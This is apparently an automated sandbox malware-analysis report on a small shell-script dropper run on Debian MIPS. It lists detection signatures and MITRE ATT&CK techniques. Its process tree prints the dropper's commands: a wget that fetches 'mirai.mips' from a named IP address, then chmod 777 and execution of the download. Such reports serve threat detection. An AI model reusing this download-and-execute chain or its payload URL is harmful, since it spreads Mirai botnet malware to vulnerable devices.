Analysis
- max time kernel
132s - max time network
147s - platform
debian-9_mips - resource
debian9-mipsbe-20260513-en - resource tags
- submitted
20/09/2026, 17:16
General
- Target 6314ab9a32ebfd10f877c94937e982a470821bce204bfb500e92b50421fa657d.sh
- Size 292B
- Sample260920-vs799axt9l
- SHA256 6314ab9a32ebfd10f877c94937e982a470821bce204bfb500e92b50421fa657d
Score
9/10
Malware Config
Signatures
- Contacts a large (14721) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
- File and Directory Permissions Modification 1 TTPs 1 IoCs
Adversaries may modify file or directory permissions to evade defenses.
- Deletes itself 1 IoCs
- Executes dropped EXE 1 IoCs
- Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
- Changes its process name 1 IoCs
- System Network Configuration Discovery 1 TTPs 1 IoCs
Adversaries may gather information about the network configuration of a system.
- Writes file to tmp directory 1 IoCs
Malware often drops required files in the /tmp directory.
Processes
-
/tmp/6314ab9a32ebfd10f877c94937e982a470821bce204bfb500e92b50421fa657d.sh/tmp/6314ab9a32ebfd10f877c94937e982a470821bce204bfb500e92b50421fa657d.sh1⤵
- Executes dropped EXE
-
/bin/rmrm -f .m2⤵
-
-
/usr/bin/wgetwget -qO .m http://176.65.148.10/mirai.mips2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
-
-
/bin/chmodchmod 777 .m2⤵
- File and Directory Permissions Modification
-
-
/tmp/.m./.m2⤵
- Deletes itself
- Changes its process name
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
.m